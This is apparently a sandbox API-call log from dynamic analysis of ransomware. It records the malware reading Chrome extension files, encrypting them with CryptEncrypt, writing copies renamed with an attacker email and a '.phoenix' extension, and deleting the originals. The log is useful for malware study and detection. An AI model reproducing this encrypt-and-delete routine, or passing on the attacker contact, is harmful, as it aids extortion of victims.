	[0259.857] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sv\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sv\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0259.857] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sv\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sv\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0259.857] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0259.857] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0259.857] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sv\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sv\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0259.858] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x1513c0) returned 1
	[0259.858] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0259.858] ReadFile (in: hFile=0x254, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xfd, lpOverlapped=0x0) returned 1
	[0259.859] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x100, dwBufLen=0x100 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x100) returned 1
	[0259.859] WriteFile (in: hFile=0x2c0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x100, lpOverlapped=0x0) returned 1
	[0259.860] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151740) returned 1
	[0259.860] CryptSetKeyParam (hKey=0x151740, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0259.860] CryptEncrypt (in: hKey=0x151740, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0259.860] CryptDestroyKey (hKey=0x151740) returned 1
	[0259.860] WriteFile (in: hFile=0x2c0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0259.861] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0259.861] CloseHandle (hObject=0x254) returned 1
	[0259.861] CloseHandle (hObject=0x2c0) returned 1
	[0259.861] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sv\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sv\\messages.json")) returned 1
	[0259.862] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0259.862] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\th\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\th\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0259.863] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=356) returned 1
	[0259.863] CloseHandle (hObject=0x2c0) returned 1
	[0259.863] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\th\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\th\\messages.json")) returned 0x20
	[0259.863] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\th\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\th\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0259.863] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\th\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\th\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0259.863] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0259.863] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0259.863] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\th\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\th\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0259.864] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151740) returned 1
	[0259.864] CryptSetKeyParam (hKey=0x151740, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0259.864] ReadFile (in: hFile=0x2c0, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x164, lpOverlapped=0x0) returned 1
	[0259.865] CryptEncrypt (in: hKey=0x151740, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x170, dwBufLen=0x170 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x170) returned 1
	[0259.865] WriteFile (in: hFile=0x254, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x170, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x170, lpOverlapped=0x0) returned 1
	[0259.867] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151180) returned 1
	[0259.867] CryptSetKeyParam (hKey=0x151180, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0259.867] CryptEncrypt (in: hKey=0x151180, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0259.867] CryptDestroyKey (hKey=0x151180) returned 1
	[0259.867] WriteFile (in: hFile=0x254, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0259.900] CryptDestroyKey (hKey=0x151740) returned 1
	[0259.901] CloseHandle (hObject=0x2c0) returned 1
	[0259.901] CloseHandle (hObject=0x254) returned 1
	[0259.901] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\th\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\th\\messages.json")) returned 1
	[0259.902] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0259.902] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\uk\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\uk\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0259.902] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=353) returned 1
	[0259.902] CloseHandle (hObject=0x254) returned 1
	[0259.902] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\uk\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\uk\\messages.json")) returned 0x20
	[0259.902] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\uk\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\uk\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0259.902] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\uk\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\uk\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0259.902] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0259.902] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0259.903] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\uk\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\uk\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0259.903] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151540) returned 1
	[0259.903] CryptSetKeyParam (hKey=0x151540, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0259.903] ReadFile (in: hFile=0x254, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x161, lpOverlapped=0x0) returned 1
	[0259.904] CryptEncrypt (in: hKey=0x151540, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x170, dwBufLen=0x170 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x170) returned 1
	[0259.904] WriteFile (in: hFile=0x2c0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x170, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x170, lpOverlapped=0x0) returned 1
	[0259.905] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151300) returned 1
	[0259.905] CryptSetKeyParam (hKey=0x151300, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0259.905] CryptEncrypt (in: hKey=0x151300, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0259.905] CryptDestroyKey (hKey=0x151300) returned 1
	[0259.905] WriteFile (in: hFile=0x2c0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0259.915] CryptDestroyKey (hKey=0x151540) returned 1
	[0259.915] CloseHandle (hObject=0x254) returned 1
	[0259.915] CloseHandle (hObject=0x2c0) returned 1
	[0259.915] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\uk\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\uk\\messages.json")) returned 1
	[0259.916] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0259.916] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_CN\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_cn\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0259.916] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=273) returned 1
	[0259.916] CloseHandle (hObject=0x2c0) returned 1
	[0259.916] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_CN\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_cn\\messages.json")) returned 0x20
	[0259.916] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_CN\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_cn\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0259.917] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_CN\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_cn\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0259.917] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0259.917] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0259.917] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_CN\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_cn\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0259.917] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x1517c0) returned 1
	[0259.917] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0259.917] ReadFile (in: hFile=0x2c0, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x111, lpOverlapped=0x0) returned 1
	[0259.918] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x120, dwBufLen=0x120 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x120) returned 1
	[0259.918] WriteFile (in: hFile=0x254, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x120, lpOverlapped=0x0) returned 1
	[0259.919] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151300) returned 1
	[0259.919] CryptSetKeyParam (hKey=0x151300, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0259.919] CryptEncrypt (in: hKey=0x151300, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0259.919] CryptDestroyKey (hKey=0x151300) returned 1
	[0259.919] WriteFile (in: hFile=0x254, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0260.015] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0260.015] CloseHandle (hObject=0x2c0) returned 1
	[0260.015] CloseHandle (hObject=0x254) returned 1
	[0260.015] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_CN\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_cn\\messages.json")) returned 1
	[0260.016] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0260.016] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\128.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\128.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0260.017] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=3406) returned 1
	[0260.017] CloseHandle (hObject=0x254) returned 1
	[0260.017] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\128.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\128.png")) returned 0x20
	[0260.017] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\128.png.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\128.png.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0260.017] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\128.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\128.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0260.017] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0260.017] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0260.017] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\128.png.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\128.png.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0260.018] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x1515c0) returned 1
	[0260.018] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0260.018] ReadFile (in: hFile=0x254, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xd4e, lpOverlapped=0x0) returned 1
	[0260.059] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xd50, dwBufLen=0xd50 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xd50) returned 1
	[0260.059] WriteFile (in: hFile=0x2c0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xd50, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xd50, lpOverlapped=0x0) returned 1
	[0260.060] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151480) returned 1
	[0260.060] CryptSetKeyParam (hKey=0x151480, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0260.060] CryptEncrypt (in: hKey=0x151480, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x30, dwBufLen=0x30 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x30) returned 1
